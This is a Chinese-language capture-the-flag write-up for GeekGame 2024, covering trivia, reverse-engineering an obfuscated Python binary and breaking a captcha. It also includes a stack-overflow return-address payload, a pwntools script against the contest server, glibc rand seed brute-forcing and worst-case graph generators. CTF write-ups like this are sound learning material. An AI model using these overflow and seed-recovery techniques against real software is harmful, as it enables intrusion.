wind_mask's GeekGame 2024
16 min read
wind_mask’s GeekGame 2024
懒狗发作了,因此一切完整性都不做保证。还是一样的没有过程中的记录,除了留下的混乱的文件夹。 期间上了三个早八,除此之外则必须睡到中午。
各题幻
签到(囯内)
懒狗从一开始就已经发作,懒得解压,懒得看内容,也不知道怎么把记录也丢了。总之,让AI写一个递归解压缩的脚本,然后搜索flag。
清北问答
论俄苏的艺术。
不在于关注细节,因为那都是有意为之泄露的,以皮套言叫营业炒作。必须从人们自己都意识不到的泄露中洞察。
在清华大学百年校庆之际,北京大学向清华大学赠送了一块石刻。石刻最上面一行文字是什么?
尽管说是这么一说,但是第一题一开始根本没搜到,直到
才知道。
有一个微信小程序收录了北京大学的流浪猫。小程序中的流浪猫照片被存储在了哪个域名下?
这是个被炒作过的东西,随意可查到小程序或源代码,我知道可以抓个包什么,但是懒狗,看源码吧。
globalData: {
isAdministrator: false,
Administrator: undefined,
url: "https://pku-lostangel.oss-cn-beijing.aliyuncs.com/",
},
mpServerless
})
在 Windows 支持的标准德语键盘中,一些字符需要同时按住 AltGr 和另一个其他按键来输入。需要通过这种方式输入的字符共有多少个?
微软的官方文档,不多说,但是我数错两次。
比赛平台的排行榜顶部的图表是基于 @antv/g2 这个库渲染的。实际使用的版本号是多少?
在官方的前端仓库看package.json就行了。
在全新安装的 Ubuntu Desktop 22.04 系统中,把音量从 75% 调整到 25% 会使声音减小多少分贝?(保留一位小数)
说是全新安装就是全新安装,虚拟机启动。
这张照片用红框圈出了一个建筑。离它最近的已开通地铁站是什么?
洞察,就是本质。
七星公馆,260-330m2。无脑认为在北京,事实上搜索即可。 地图功能:查找附近的xx,只需一个字:塔,答案是燃灯古佛塔。 附近的地铁站,结束。
真实,就是真实的真实,就是事实。
大模型模型虎视眈眈
你们是语言的工具,而我是语言的主人。
所谓语言,就是权力。
之后的第二问沿用:
熙熙攘攘我们的天才吧
Magic Keyboard
不幸的,我完全不懂音视频,甚至连virtual keyboard code的表也玩不转,只能手动对照keycode输出flag1。 之后两题无。
TAS概论大作业
你过关
当然去找现成的TAS,然后
def input_to_byte(input_str):
# 从最低位到最高位依次表示是否按下 A、B、选择、开始、上、下、左、右键
buttons = ["A", "B", "S", "T", "U", "D", "L", "R"]
byte = 0
for i, button in enumerate(buttons):
if button in input_str:
byte |= 1 << i
return byte
显然是AI生成给我的代码。
此处注意第0帧是要删除还是什么来着,总之第0帧有什么要怎么怎么。 现成的速通到确定通关的一帧就接受,要加些空白等到公主。
只有神知道的世界
进入负世界的方式很容易找到,速通一般都用了wrap的管道,因此直接在本地模拟器里播放,到达时切换到手操record下来即可。
验证码
我还以为浏览器打印是非预期的呢。
提前打开控制台,由于我的浏览器很卡因此可以手动在合适时刻暂停js,然后把页面上的验证码部分的div复制走然后在一个空的html文件里,打开,浏览器打印,复制。
Fast Or Clever
我是一条懒狗,尽管显然有Time-of-check to time-of-use的问题,但我心烦意乱,让我们openssl rand -hex 249
,然后随便写点:
payload = (
"60b0c059823bb76f6f39fc4345b80b64e2cb4671bcb31e371b67aac6cfe8bf1eed796ad918b91d9f4cd69d33000f62703191ecec947ea361aa07daf44561d138c13600264b4cb9e348a7194c70b4e708a94d0128195677e862f6f398b3477689f20c8d872c5723817eeded730bc9e233f38126edd4ea4203579cee7828b19e5f852b05b2edd5bc0052ac432c55150a28ecdac81518287b3ffa756fa2c5ca74cb07fdd0ba2e45c6325891600b206f53f5e03f3c4ae05217e2c3235165fd0a02b1bc42bfbd454237159b3bdca94cf49204735ad68a9f2763abc2ed7780ef346a0fad37a62e43b77873f37863b9c27f6e66113059660764216c2edf14294c49eb82😒"
).encode()
然后提交,然后就过了。
从零开始学Python
是的使用pyinstxtractor-ng
,然后你会得到pymaster.pyc
,然后 uncompyle6
,即可得到:
if random.randint(0, 65535) != 54830:
exec(marshal.loads(base64.b64decode(
b"YwAAAAAAAAAAAAAAAAAAAAAFAAAAQAAAAHMwAAAAZABaAGUBZAGDAWUCZQNkAoMBZAODAmUCZQNkBIMBZAWDAmUAgwGDAYMBAQBkBlMAKQdztAQAAGVKekZWMTFQMnpBVWZhL1UvMkN5bDBSanlCV3NiR2g3R0N2ZFlCMHBHNkFGeEt5MGRkdWdORUg1Z0VRVC8zMTIzQ1NPN1RSdDBiUlVhdFBjYzI5OGo0K3ZyNTNGZ3g5RUlMQzlpYjlvdHh6MmQyU0h1SHZRYnJWYnI4RFV0V2NkOEJGbzlPWlA2c2ZvVTdDUG9xOG42THY5OHhJSHlPeWpvWFU0aDk2elJqM2FyYkZyaHlHd0oyZGZnc3RmcG5WKzFHNEJjazN3RkNEa2VFNkVrRjVZaDd2QUpGZjJEWTBsbEY0bFlvOEN5QWpvVDUwZE1qdXNzVVBxZis1N1dHMkhacE1kRm5aRmhxUFZHZFprZFVvdUxtb2VvSXhhSWFtNDkvbHdUM1BIeFp5TnBickRvbkk0ZWpsVEViZ2tSb21XUENoTzhpZkVLZnlFUkl0YlR4Y0NHTEl2ZGtQVlVPcENYamVFeEM1SlFwZmpOZWVsOFBFbUV0VXFaM1VFUTVIVldpVFZNYlVOdzF2VEFWOU1COXlPRG1tQ042SGpuNm5qNVhSc3FZNm1qT3I4bW9XaFhIYmJydUoxaDY0b2U5ZVZzcGZ3eEtTa1hDWUMvVWxlblZPQlZUS3o3RkZOT1dUR2ZHOUl1TGNVejdLYlNzUmtWY21VYTN0YUFqS3BKZFF6cWEyZG5FVjBsbWFueE1JcU5zMzlrd3BKTEtWVVNibTNCdVdtUUxtWlV3NWx5dUVxeXVGL3BSeXVTK05LeWswRjVYQWp5cE5OT2lCU2hiaDJTdWZRQ25ETWd4a3RKVXJaQ1FsTlJGd3plMHZmRWllMUYxbWY5b0ZEWkozYnFySlNHV3lzcUl0TmRVa09vR29CODNJTUpIVnRwSzB5bmlDeVplTExBaStsek10R0hVTktrbGVseWtWVllMbUcwVGRZbzFyUjNBVnZYNzR2SlBGSG1zYitWUHM5V1FVaGVFM1FhWVJEL2JiQ0xSbm03K1VaWW8vK09GNmt3MTBBazM3ZnVET0VBTXJ4WlBTc2pjeUZIK0FvRGp3UUtwSk5TNWY3UEZtMWF1NjVOU0t0anpYV3hvcDFRUWlWV2VrWVZIQmlJVnB2U1NpVTByd1V1RXc1clJRN3NFQmNUNWZvdXVjamovUmkzeTZlelFuQThSN2lTTmVHTGlhSFI0QzlDQWNnbXVQcy9IZ0V0TUtKY09KaWJzZVpHNVRUL1M2WDFrTkFxZEl1Z3hUWU05dnhkalJPR1d6T1pjSE9iNC9lM3RGUTdLQ3FBVC9nalc4NnpQaXNiZm9pOW1US2h4dVFiTG5ncXByTmNaM29uQWo4aFc3c2tyRk5TZ1lHaHNHL0JkSGdCRHJET2t3NlVMMGxWT1F0elljRDFJdUhTZDBRMEZlMEJtUW4vcjFSOTJDQ3gvNEU2OXJoeWRqOVlRMVB6YkQzT0lpdGI3M2hZSGpqd0xQUndEcCtQN3J3MzMyKzZibjl4NmRqQ3g2T3crNXBUaDAvSjA2bEE3NlNtYmY4R016OHFCREtmakVEZ3RLVk0wVS9EajF5ZS9ZQ0kwUmZwaUcwSUdhRU5GSEVQYXJidjV1T0tGVT3aBGV4ZWPaBHpsaWLaCmRlY29tcHJlc3PaBmJhc2U2NNoJYjY0ZGVjb2RlTikE2gRjb2Rl2gRldmFs2gdnZXRhdHRy2gpfX2ltcG9ydF9fqQByCQAAAHIJAAAA2gDaCDxtb2R1bGU+AQAAAHMKAAAABAEGAQwBEP8C/w=="
)))
然后里面这些垃圾需要:
dis.disassemble(marshal.loads(base64.b64decode(
b"YwAAAAAAAAAAAAAAAAAAAAAFAAAAQAAAAHMwAAAAZABaAGUBZAGDAWUCZQNkAoMBZAODAmUCZQNkBIMBZAWDAmUAgwGDAYMBAQBkBlMAKQdztAQAAGVKekZWMTFQMnpBVWZhL1UvMkN5bDBSanlCV3NiR2g3R0N2ZFlCMHBHNkFGeEt5MGRkdWdORUg1Z0VRVC8zMTIzQ1NPN1RSdDBiUlVhdFBjYzI5OGo0K3ZyNTNGZ3g5RUlMQzlpYjlvdHh6MmQyU0h1SHZRYnJWYnI4RFV0V2NkOEJGbzlPWlA2c2ZvVTdDUG9xOG42THY5OHhJSHlPeWpvWFU0aDk2elJqM2FyYkZyaHlHd0oyZGZnc3RmcG5WKzFHNEJjazN3RkNEa2VFNkVrRjVZaDd2QUpGZjJEWTBsbEY0bFlvOEN5QWpvVDUwZE1qdXNzVVBxZis1N1dHMkhacE1kRm5aRmhxUFZHZFprZFVvdUxtb2VvSXhhSWFtNDkvbHdUM1BIeFp5TnBickRvbkk0ZWpsVEViZ2tSb21XUENoTzhpZkVLZnlFUkl0YlR4Y0NHTEl2ZGtQVlVPcENYamVFeEM1SlFwZmpOZWVsOFBFbUV0VXFaM1VFUTVIVldpVFZNYlVOdzF2VEFWOU1COXlPRG1tQ042SGpuNm5qNVhSc3FZNm1qT3I4bW9XaFhIYmJydUoxaDY0b2U5ZVZzcGZ3eEtTa1hDWUMvVWxlblZPQlZUS3o3RkZOT1dUR2ZHOUl1TGNVejdLYlNzUmtWY21VYTN0YUFqS3BKZFF6cWEyZG5FVjBsbWFueE1JcU5zMzlrd3BKTEtWVVNibTNCdVdtUUxtWlV3NWx5dUVxeXVGL3BSeXVTK05LeWswRjVYQWp5cE5OT2lCU2hiaDJTdWZRQ25ETWd4a3RKVXJaQ1FsTlJGd3plMHZmRWllMUYxbWY5b0ZEWkozYnFySlNHV3lzcUl0TmRVa09vR29CODNJTUpIVnRwSzB5bmlDeVplTExBaStsek10R0hVTktrbGVseWtWVllMbUcwVGRZbzFyUjNBVnZYNzR2SlBGSG1zYitWUHM5V1FVaGVFM1FhWVJEL2JiQ0xSbm03K1VaWW8vK09GNmt3MTBBazM3ZnVET0VBTXJ4WlBTc2pjeUZIK0FvRGp3UUtwSk5TNWY3UEZtMWF1NjVOU0t0anpYV3hvcDFRUWlWV2VrWVZIQmlJVnB2U1NpVTByd1V1RXc1clJRN3NFQmNUNWZvdXVjamovUmkzeTZlelFuQThSN2lTTmVHTGlhSFI0QzlDQWNnbXVQcy9IZ0V0TUtKY09KaWJzZVpHNVRUL1M2WDFrTkFxZEl1Z3hUWU05dnhkalJPR1d6T1pjSE9iNC9lM3RGUTdLQ3FBVC9nalc4NnpQaXNiZm9pOW1US2h4dVFiTG5ncXByTmNaM29uQWo4aFc3c2tyRk5TZ1lHaHNHL0JkSGdCRHJET2t3NlVMMGxWT1F0elljRDFJdUhTZDBRMEZlMEJtUW4vcjFSOTJDQ3gvNEU2OXJoeWRqOVlRMVB6YkQzT0lpdGI3M2hZSGpqd0xQUndEcCtQN3J3MzMyKzZibjl4NmRqQ3g2T3crNXBUaDAvSjA2bEE3NlNtYmY4R016OHFCREtmakVEZ3RLVk0wVS9EajF5ZS9ZQ0kwUmZwaUcwSUdhRU5GSEVQYXJidjV1T0tGVT3aBGV4ZWPaBHpsaWLaCmRlY29tcHJlc3PaBmJhc2U2NNoJYjY0ZGVjb2RlTikE2gRjb2Rl2gRldmFs2gdnZXRhdHRy2gpfX2ltcG9ydF9fqQByCQAAAHIJAAAA2gDaCDxtb2R1bGU+AQAAAHMKAAAABAEGAQwBEP8C/w=="
)))
然后又是一堆垃圾,需要:
# base64 编码的压缩数据
code = b"eJzFV11P2zAUfa/U/2Cyl0RjyBWsbGh7GCvdYB0pG6AFxKy0ddugNEH5gEQT/3123CSO7TRt0bRUatPcc298j4+vr53Fgx9EILC9ib9otxz2d2SHuHvQbrVbr8DUtWcd8BFo9OZP6sfoU7CPoq8n6Lv98xIHyOyjoXU4h96zRj3arbFrhyGwJ2dfgstfpnV+1G4Bck3wFCDkeE6EkF5Yh7vAJFf2DY0llF4lYo8CyAjoT50dMjussUPqf+57WG2HZpMdFnZFhqPVGdZkdUouLmoeoIxaIam49/lwT3PHxZyNpbrDonI4ejlTEbgkRomWPChO8ifEKfyERItbTxcCGLIvdkPVUOpCXjeExC5JQpfjNeel8PEmEtUqZ3UEQ5HVWiTVMbUNw1vTAV9MB9yODmmCN6Hjn6nj5XRsqY6mjOr8moWhXHbbruJ1h64oe9eVspfwxKSkXCYC/UlenVOBVTKz7FFNOWTGfG9IuLcUz7KbSsRkVcmUa3taAjKpJdQzqa2dnEV0lmanxMIqNs39kwpJLKVUSbm3BuWmQLmZUw5lyuEqyuF/pRyuS+NKyk0F5XAjypNNOiBShbh2SufQCnDMgxktJUrZCQlNRFwze0vfEie1F1mf9oFDZJ3bqrJSGWysqItNdUkOoGoB83IMJHVtpK0yniCyZeLLAi+lzMtGHUNKklelykVVYLmG0TdYo1rR3AVvX74vJPFHmsb+VPs9WQUheE3QaYRD/bbCLRnm7+UZYo/+OF6kw10Ak37fuDOEAMrxZPSsjcyFH+AoDjwQKpJNS5f7PFm1au65NSKtjzXWxop1QQiVWekYVHBiIVpvSSiU0rwUuEw5rRQ7sEBcT5fouucjj/Ri3y6ezQnA8R7iSNeGLiaHR4C9CAcgmuPs/HgEtMKJcOJibseZG5TT/S6X1kNAqdIugxTYM9vxdjROGWzOZcHOb4/e3tFQ7KCqAT/gjW86zPisbfoi9mTKhxuQbLngqprNcZ3onAj8hW7skrFNSgYGhsG/BdHgBDrDOkw6UL0lVOQtzYcD1IuHSd0Q0Fe0BmQn/r1R92CCx/4E69rhydj9YQ1PzbD3OIitb73hYHjjwLPRwDp+P7rw332+6bn9x6djCx6Ow+5pTh0/J06lA76Smbf8GMz8qBDKfjEDgtKVM0U/Dj1ye/YCI0RfpiG0IGaENFHEParbv5uOKFU="
# 解码 base64 数据
decoded_data = base64.b64decode(code)
# 解压缩数据
decompressed_data = zlib.decompress(decoded_data)
这段显然是AI给我的。
然后才有了# flag1 =xxxx
,里面又是些:
class adJGrTXOYN:
def __init__(adJGrTXOYP, OOOO, OOO0):
adJGrTXOYP.OOOO = OOOO
adJGrTXOYP.OOO0 = OOO0
adJGrTXOYP.OO0O = None
adJGrTXOYP.O0OO = None
adJGrTXOYP.O0O0 = None
......
我们懒狗放心地交给AI来解决。
class Node:
def __init__(self, key, value):
self.key = key
self.value = value
self.parent = None
self.left = None
self.right = None
......
然后就够了。
随机数固定了显然是seed,去找random.pyc
,解出来看到了flag2就是seed。
对比是encoded_flag = base64.b64decode("7EclRYPIOsDvLuYKDPLPZi0JbLYB9bQo8CZDlFvwBY07cs6I")
。
然后懒狗的大胆猜测这些什么什么的都是些置换而已。
试验一下,“flag{xxxx“之类有5个字节正确了。
那就ok了。
def init_and_r(flag_input: str):
suc = [False] * 36
tree = BinaryTree()
random.seed(x)
y = random.randint(0, 65535)
assert y == 54830
if len(flag_input) != 36:
print("Try again!")
return
# if flag_input[:5] != "flag{" or flag_input[-1] != "}":
# print("Try again!")
# return
for character in flag_input:
tree.add_item(random.random(), ord(character))
for _ in range(0x100):
random_traverse(tree)
flag_decoded = decode_flag(tree.root)
for i in range(len(encoded_flag)):
if flag_decoded[i] == encoded_flag[i]:
suc[i] = True
return suc
def guess(index: int):
global g_flag, true_flag
successd_index = init_and_r("".join(g_flag))
local_random = random.Random(time.time())
while True:
g_flag[index] = chr(local_random.randint(0, 0xFF))
s = init_and_r(g_flag)
if successd_index != s:
print("success in index", index)
print("flag:", g_flag[index])
true_flag += g_flag[index]
return
else:
successd_index = s
生活在树上
Level 1
我们也就只知道栈溢出了……
backdoor_address = 0x401243
# 构造恶意输入
payload = b"A" * 488 # 填充 v5 缓冲区
payload += b"B" * 8 # 填充其他局部变量和栈帧指针
payload += struct.pack("<Q", backdoor_address) # 覆盖返回地址
是的没错payload都是AI帮我写的。
栈对齐还加ret?呵呵,让我们直接跳到call system
前两条指令呗。
懒狗,永远都是。
然后Level 2什么的反受其害,一直只能跳到fake backdoor,怎么跳就是跳不进我构造的的/bin/sh
。
完美的代码
发现
其实我一开始以为问题是size可以为0:szie为0的vec地址就是里面类型的对齐,也就是vec![0; 0].into_boxed_slice()
得到的Box其实ptr的值就是0x4,如果能访问显然会出错。
但其实如果没有真正的错误,是没法访问的。
手操一下发现跳过了有检查的put直接unchecked put,看来是虚表坏了。
直接看nightly特性和unsafe,大概问题出在trait对象上。
尽管已经拿到任意地址写了,但是懒狗又不想思考怎么利用了。
想着local_data
什么是不是可以溢出到栈上,但是显然虚妄。后来想到应该是修改虚表跳到什么什么去,也懒得思路了。
打破复杂度
我知道做题,OI,ACM等泛滥了。 卡常,请。
关于SPFA—它死了
这个真有现成的生成图的代码:如何卡SPFA。
Dinic并非万能
没有现成,我已无救。 但是知乎上含混不清的回答也可吧:如何使最大流的 Dinic 算法达到理论上的最坏时间复杂度? 对着这玩意看了半天,其实我还是看不懂。 强行对着写点吧:
#include <cassert>
#include <climits>
#include <fstream>
#include <iostream>
#include <list>
#include <tuple>
#include <vector>
const int MAXN = 100;
const int MAXM = 5000;
const int MAXW = 1e9;
using namespace std;
struct edge {
int to, cap;
edge *rev;
};
list<edge> E[MAXN + 1];
void add_edge(int u, int v, int cap) {
edge e1 = {v, cap, nullptr};
edge e2 = {u, 0, nullptr};
E[u].push_back(e1);
E[v].push_back(e2);
E[u].back().rev = &E[v].back();
E[v].back().rev = &E[u].back();
}
int main() {
int n = MAXN; // Number of nodes
int m = MAXM; // Number of edges
int s = 1; // Source
int t = 100; // Sink
int k = 24;
vector<tuple<int, int, int>> edges;
for (int i = 2; i <= k + 1; i++) {
// s连到二分图一侧,另一侧连到t
add_edge(1, i, k);
add_edge(i + k, t, k);
edges.push_back(make_tuple(1, i, k));
edges.push_back(make_tuple(i + k, t, k));
} // 二分图为点2到k+1和点k+2到2k+1
for (int i = 2; i <= k + 1; i++) {
for (int j = i + k; j <= 2 * k + 1; j++) {
for (int l = 0; l < 7; l++) {
add_edge(i, j, 1);
add_edge(j, i, 1);
edges.push_back(make_tuple(i, j, 1));
edges.push_back(make_tuple(j, i, 1));
}
}
}
// 两个点,与二分图两侧相连,cap为k
for (int i = 2; i <= k + 1; i++) {
add_edge(2 * k + 2, i, k);
add_edge(i, 2 * k + 2, k);
add_edge(i + k, 2 * k + 3, k);
add_edge(2 * k + 3, i + k, k);
edges.push_back(make_tuple(2 * k + 2, i, k));
edges.push_back(make_tuple(i, 2 * k + 2, k));
edges.push_back(make_tuple(i + k, 2 * k + 3, k));
edges.push_back(make_tuple(2 * k + 3, i + k, k));
}
int ban = (n - 2 * k - 4) / 2 + 2 * k + 4;
// 剩下的点构成s到t的路径
add_edge(1, 2 * k + 4, MAXW);
edges.push_back(make_tuple(1, 2 * k + 4, MAXW));
for (int i = 2 * k + 4; i < ban; i++) {
add_edge(i, i + 1, MAXW);
edges.push_back(make_tuple(i, i + 1, MAXW));
}
for (int i = ban + 1; i <= n - 2; i++) {
add_edge(i, i + 1, MAXW);
edges.push_back(make_tuple(i, i + 1, MAXW));
}
add_edge(n - 1, n, MAXW);
edges.push_back(make_tuple(n - 1, n, MAXW));
// 剩下的点每四个连到二分图一侧
int flag = 0;
for (int i = 2 * k + 4; i <= ban; i += 4) {
add_edge(i, 2 * k + 2 + flag, k * k);
add_edge(2 * k + 2 + flag, i, k * k);
edges.push_back(make_tuple(i, 2 * k + 2 + flag, k * k));
edges.push_back(make_tuple(2 * k + 2 + flag, i, k * k));
if (flag == 0) {
flag = 1;
} else {
flag = 0;
}
}
for (int i = ban + 1; i <= n - 1; i += 4) {
add_edge(2 * k + 3 - flag, i, k * k);
add_edge(i, 2 * k + 3 - flag, k * k);
edges.push_back(make_tuple(2 * k + 3 - flag, i, k * k));
edges.push_back(make_tuple(i, 2 * k + 3 - flag, k * k));
if (flag == 0) {
flag = 1;
} else {
flag = 0;
}
}
// 打印图到文件
ofstream outfile("graph.txt");
outfile << n << " " << edges.size() << " " << s << " " << t << endl;
for (const auto &e : edges) {
int u, v, c;
tie(u, v, c) = e;
outfile << u << " " << v << " " << c << endl;
}
outfile.close();
// dinic(n, edges.size(), s, t);
// cerr << "Operations: " << ops << endl;
return 0;
}
嗯,完全不懂,手动艹出来的答案。
随机数生成器
C++
是的完全的懒狗,我连glibc的rand到底是什么也没找到,因为我看到网上说据说已经从那什么线性同余改善了。 等到提示后,我才能找到源码……然后我干了更无聊的穷举。
import pwn
url = "prob15.geekgame.pku.edu.cn"
port = 10015
token = b"xxxx"
rand = []
conn = pwn.remote(url, port)
line = conn.recvuntil(b":")
print(line)
conn.send(token + b"\r\n")
conn.send(b"\r\n")
rand.append(int(conn.recvline().strip()))
for i in range(255):
conn.send(b"\r\n")
rand.append(int(conn.recvline().strip()))
assert len(rand) == 256
with open("rand.txt", "w") as f:
for i in rand:
f.write(f"{i}\n")
然后拿着rand.txt
去穷举吧!
use rayon::iter::{IntoParallelIterator, ParallelIterator};
use std::fs::File;
use std::i32;
use std::io::Read;
struct Rng {
seed: i32,
a: i64,
m: i32,
v: [i32; 31],
}
impl Rng {
fn new(seed: i32) -> Rng {
let mut init = [0; 344];
let mut rng = Rng {
seed,
a: 16807,
m: 2147483647,
v: [0; 31],
};
init[0] = seed;
for i in 1..31 {
init[i] = (rng.a.wrapping_mul(init[i - 1] as i64) % rng.m as i64) as i32;
if init[i] < 0 {
init[i] += rng.m;
}
}
for i in 31..34 {
init[i] = init[i - 31];
}
for i in 34..344 {
init[i] = init[i - 31].wrapping_add(init[i - 3]);
}
for i in 0..31 {
rng.v[i] = init[i + 313];
}
rng
}
fn next(&mut self) -> i32 {
let n = self.v[0].wrapping_add(self.v[28]);
for i in 1..31 {
self.v[i - 1] = self.v[i];
}
self.v[30] = n;
((n as u32) >> 1) as i32
}
}
fn main() {
let mut f = File::open("rand.txt").unwrap();
let mut contents = String::new();
f.read_to_string(&mut contents).unwrap();
let mut lines = contents.lines();
let mut rand_v = [0; 256];
for i in 0..256 {
rand_v[i] = lines.next().unwrap().parse().unwrap();
}
let f = "flag{";
let mut SEED: i32 = 0;
let start_time = std::time::Instant::now();
(0..=u32::MAX)
.into_par_iter()
.find_any(|&seed| {
let mut rng = Rng::new(seed as i32);
for i in 0..4 {
if rng.next() != rand_v[i] - f.as_bytes()[i] as i32 {
return false;
}
}
return true;
})
.map(|seed| {
println!("Found seed: {}", seed);
SEED = seed as i32;
println!("Time: {:?}", start_time.elapsed());
});
let mut rng = Rng::new(SEED);
let ff=rand_v.map(|v|{
v-rng.next()
});
let flag: String = ff.iter().map(|&b| b as u8 as char).collect();
println!("Flag: {}", flag);
}
没有什么线性方程组,没有什么Z3,没有什么数学——懒狗一无所有。
神秘计算器
素数判断函数
费马检验,启动。
最后搞出点1-1%((2**n%n-2)**2+1)-1%(n**2/4)+1%((n-341)**2+1)
这种垃圾。
Pell数(一)
通项公式嗯凑((1+2**(1/2))**(n-1)+1)/8**(1/2)//1
。
Pell数(二)
这个真得等提示才看到,生成函数哈哈。
大约是2**(2*n*n-2*n)//(2**(4*n-4)-2**(2*n-1)-1)%2**(2*n-2)
。
闲话
我处在无边的怠惰中,这是事实。因此,这一切都归于无。
冠盖满京华,斯人独憔悴。 …… 千秋万岁名,寂寞身后事。